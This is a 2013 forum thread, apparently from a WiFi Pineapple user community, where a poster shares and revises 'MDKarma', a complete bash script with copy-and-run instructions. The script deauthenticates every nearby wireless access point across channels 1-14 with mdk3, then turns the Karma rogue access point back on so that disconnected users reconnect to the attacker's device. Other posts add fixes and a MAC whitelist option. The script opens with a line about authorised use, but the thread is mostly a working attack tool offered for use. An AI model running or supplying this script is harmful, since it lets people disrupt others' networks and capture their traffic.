Boba Fett Posted March 2, 2013 Share Posted March 2, 2013 Fix this: mdk3 mon0 d -c 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 & sleep $deauthTime && killall mdk3 to mdk3 mon0 d -c 1,2,3,4,5,6,7,8,9,10,11,12,13,14 & sleep $deauthTime && killall mdk3 and for those who wants add a white list mdk3 mon0 d -w whitelist.txt -c 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 & sleep $deauthTime && killall mdk3 Quote Link to comment Share on other sites More sharing options...
Foxtrot Posted March 2, 2013 Author Share Posted March 2, 2013 Fix this: mdk3 mon0 d -c 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 & sleep $deauthTime && killall mdk3 to mdk3 mon0 d -c 1,2,3,4,5,6,7,8,9,10,11,12,13,14 & sleep $deauthTime && killall mdk3 and for those who wants add a white list mdk3 mon0 d -w whitelist.txt -c 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 & sleep $deauthTime && killall mdk3 Thanks for the changes, will add them in the next one, and also, the whitelist function is on its way, Will ask you for MACs to whitelist then generate the .txt, Stay Tuned :) -Foxtrot Quote Link to comment Share on other sites More sharing options...
Foxtrot Posted March 2, 2013 Author Share Posted March 2, 2013 Done, Version 1.2 is out now. -Foxtrot Quote Link to comment Share on other sites More sharing options...
Boba Fett Posted March 4, 2013 Share Posted March 4, 2013 I think you miss change the N° Version and I dont see in the batch the -w option in the mdk3 process. Quote Link to comment Share on other sites More sharing options...
Foxtrot Posted March 4, 2013 Author Share Posted March 4, 2013 Try now, Quote Link to comment Share on other sites More sharing options...
Boba Fett Posted March 4, 2013 Share Posted March 4, 2013 Hey guys! I am currently making a script that basically : -Asks how long to deauth for -Asks what interface to deauth on -Disables karma -Puts wlan0 into RFMON (Monitor Mode) -Starts MDK3 Deauthing for x amount of seconds inputted at the beginning -After x amount of seconds, Stops MDK3 -Removes mon0 -Starts karma again The point of this script is that it deauths all nearby access points then enables karma so that the people will reconnect to the pineapple, Allthough this can be done manually I thought a nice script would be nice that did it for you :) Run this script by copy/pasting into a file and call it mdkarma.sh, then do chmod +x mdkarma.sh, then do ./mdkarma , Incase it wasn't obvious, when I update the script, you have to copy the new code into the existing script you have... Edit : Version 1.1 - Added how long to deauth for and choice on what interface to deauth on. Edit : Version 1.1.2 - Fixed deauthing on all channels! Edit : Version 1.1.3 - Fixed a typo that could stop MDK3 starting. Edit : Version 1.2 - Fixed Channel Hopping, Added Whitelisting and added spacing for easier reading :) Please give some feedback and any improvements :) Code : #!/bin/bash #Part of the Pineapple Mojito Framework #Made by Foxtrot #Version 1.2 #Intro echo "!! This script is to be used only for legal, safe and authorised uses !!" echo "MDKarma V1.2" sleep 6 #Ask how long to deauth for echo -n "How long (In Seconds) to deauth for? : "; read deauthTime #Ask what Interface echo -n "What interface would you like to deauth on? : "; read deauthInterface #Ask if you want to whitelist read -r -p "Do you want to add a whitelist? [Y/n] " response if [[ $response =~ ^([yY][eE][sS]|[yY])$ ]] then echo " " echo "Whitelist Created!" echo " " touch whitelist.txt read -r -p "MAC Address to add : " macaddr echo $macaddr >> whitelist.txt else echo " " echo "Avoiding Whitelist Creation!" echo " " fi #Put wlan0 up echo "Checking Interface wlan0 is up...." wifi sleep 3 #Stop Karma echo " " echo "Killing Karma...." hostapd_cli -p /var/run/hostapd-phy0 karma_disable > /dev/null sleep 3 #Put deauthInterface into monitor mode echo " " echo "Putting $deauthInterface into monitor mode...." airmon-ng start $deauthInterface > /dev/null sleep 3 #Start deauthing with MDK3 and stop echo " " echo "Deauthing Access Points with MDK3...." mdk3 mon0 d -w whitelist.txt -c 1,2,3,4,5,6,7,8,9,10,11,12,13,14 & sleep $deauthTime && killall mdk3 sleep 3 #Kill airmon-ng and start Karma again. echo "Removing mon0 and enabling karma...." airmon-ng stop mon0 > /dev/null wifi hostapd_cli -p /var/run/hostapd-phy0 karma_enable > /dev/null sleep 3 #Finish echo " " echo "MDKarma Finished!" -Foxtrot GREAT!!!!!!!!! Quote Link to comment Share on other sites More sharing options...
Foxtrot Posted March 4, 2013 Author Share Posted March 4, 2013 GREAT!!!!!!!!! Lol, I'm glad you like it! -Foxtrot Quote Link to comment Share on other sites More sharing options...
NullNull Posted March 4, 2013 Share Posted March 4, 2013 Thank you Foxtrot :) It looks great :) Quote Link to comment Share on other sites More sharing options...
Foxtrot Posted March 4, 2013 Author Share Posted March 4, 2013 Thank you Foxtrot :) It looks great :) Cheers, means alot :). Plans for now are to add some other features and i'll start working on a module that automates attacks such as this as soon as possible. Stay Tuned! -Foxtrot Quote Link to comment Share on other sites More sharing options...
Boba Fett Posted March 4, 2013 Share Posted March 4, 2013 It will be nice a aiodrump-ng option to identify the mac adress to insert on the whitelist. Quote Link to comment Share on other sites More sharing options...
NullNull Posted March 5, 2013 Share Posted March 5, 2013 or maybe airdrop-ng.... B) the possibilities are endless Quote Link to comment Share on other sites More sharing options...
Foxtrot Posted March 10, 2013 Author Share Posted March 10, 2013 Module Thread. -Foxtrot Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.